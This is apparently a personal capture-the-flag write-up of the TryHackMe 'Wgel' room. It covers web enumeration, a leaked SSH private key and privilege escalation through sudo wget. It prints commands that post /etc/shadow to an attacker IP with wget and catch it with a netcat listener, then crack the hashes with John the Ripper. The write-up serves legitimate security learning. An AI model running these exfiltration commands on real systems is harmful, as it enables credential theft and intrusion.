Wgel CTF (Try Hack Me)
I am currently in the process of completing these boxes on Try Hack Me again in an effort to document my experience, reinforce my knowledge of the topics, and improve my ability to concisely communicate the pentest lifecycle.
Performing an nmap scan of the top 1000 ports for this target, we come across two accessible ports:
- 22 (SSH)
- 80 (HTTP)
From the service information for the two open ports, the target is an Ubuntu Linux OS. Let’s enumerate those services further.
The http-title nmap script reveals that the title of the web application is the default Apache landing page title. Let’s check out the page to confirm this.
Turns out the http-title script did not lie to us. There is no interesting information revealed within this page but looking deeper into the page source, and we come across some leaked information in the source code.
Despite it being riddled with spelling mistakes, we can deduce two critical pieces of information:
- the website has not been updated meaning there may be some vulnerabilities or information
- there is potentially a user (jessie or Jessie) that could be useful for brute forcing the SSH service or provide access to a protected endpoint
Let’s now proceed with directory enumeration using gobuster.
Browsing to the /sitemap endpoint, we’re presented with another landing page.
Let’s obtain a more concrete picture of the application and perform another directory enumeration scan before we manually enumerate the UNAPP application.
Note: gobuster is not a recursive tool so we have to perform this for each endpoint we may across.
Whoa! We may not even have to browse the application at all. The .ssh directory looks very promising!
The contents of id_rsa is a private key that may just be our foothold into the target.
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
Since we enumerated the web application thoroughly at the beginning, this private key may belong to Jessie. Fingers crossed!
Before we can use the private key, we need to modify the permissions to 600 so that SSH doesn’t complain.
The permission scheme when you first create a file is 644 but SSH complains that the file is world-readable so it ignores the private key.
Success! Our intuition turned out to be correct. The private key was valid for jessie. Once we modified the permissions for the private key, SSH stopped complaining, and we obtained our foothold into the target.
The user flag is located at /home/jessie/Documents/user_flag.txt. Now we can move onto privilege escalation!
First technique for privesc is to the check the superuser privilege for jessie.
The first of two items means that jessie can execute all commands as sudo so long as a password is provided. This won’t work since we obtained access to the system using key-based authentication and not password authentication. However, the wget command can be executed as root without a password.
Gtfobins, a fantastic resource for privesc, should have an entry on how we can abuse this.
In this case, gtfobins was not that useful to us. Performing a bit of google-fu and we come across a great article by hackingarticles on how to exfil data using privileged wget 1.
The example in the articles uses the following command to exfil the /etc/shadow file.
sudo /user/bin/wget --post-file=/etc/shadow 192.168.1.17
In our situation, we should be able to transfer the /etc/shadow and /etc/passwd file to our attacker machine, and crack the password using John the Ripper. Alternatively, we could exfil the /root/root_flag.txt (assuming this is the pattern since the user flag was user_flag.txt) file in the /root folder but let’s see if we can crack jessie’s password using JTR and obtain root access.
Once I set up a netcat listener on port 80 redirecting any data received to a file called
passwd, I use the wget command to post the file to our listener. Once the connection is established, the wget command will be expecting a valid HTTP response but we don’t care about providing that so we can kill the netcat listener and our file will be saved to disk. The file contains the HTTP headers as part of the request so we’ll take care to delete those.
Now we’ll perform the same thing for the /etc/shadow file and use John the Ripper to try to crack the hash.
We only care about the jessie user so I filtered out the lines that didn’t matter and used the unshadow command to combine the two into a file that John the Ripper will understand.
Since this was a sha512crypt hash with 5000 rounds, it took over an hour to go through the entire rockyou wordlist. At the end of it, there was no match.
Knowing that I could already get the root flag easily, I decided to look at a few writeups to see if they tried to crack jessie’s hashed password and all of them used wget to read or exfil the flag.
We have completed this room!
Data Exfil using Wget and Netcat
Create a netcat listener on port 80 saving the received data to a file.
nc -nvlp 80 > file.txt
Wget command to exfiltrate the data to your netcat listener.
wget --post-file=/etc/shadow 10.6.5.103
The first time I completed this room, I did not search through the source code of that default Apache page so I did not have knowledge of the user “jessie”. I think I’ve learned my lesson as my first instinct even with the default Apache page is to search through all page sources for any information leakage.
If you don’t fall into any rabbit holes, this room can be fairly straightforward. This is the first room I’ve come across where wget is a binary that is able to run as sudo so I enjoyed learning the number of things I can do to exfiltrate data or read local files.
So far, this journey to document all of my previously completed rooms has surprised me on how much I have learned. I have a long way to go but I’ve become very comfortable solving the easy rooms on Try Hack Me. Once I complete these old writeups, I think it’s definitely time I upgraded to the Medium rated rooms.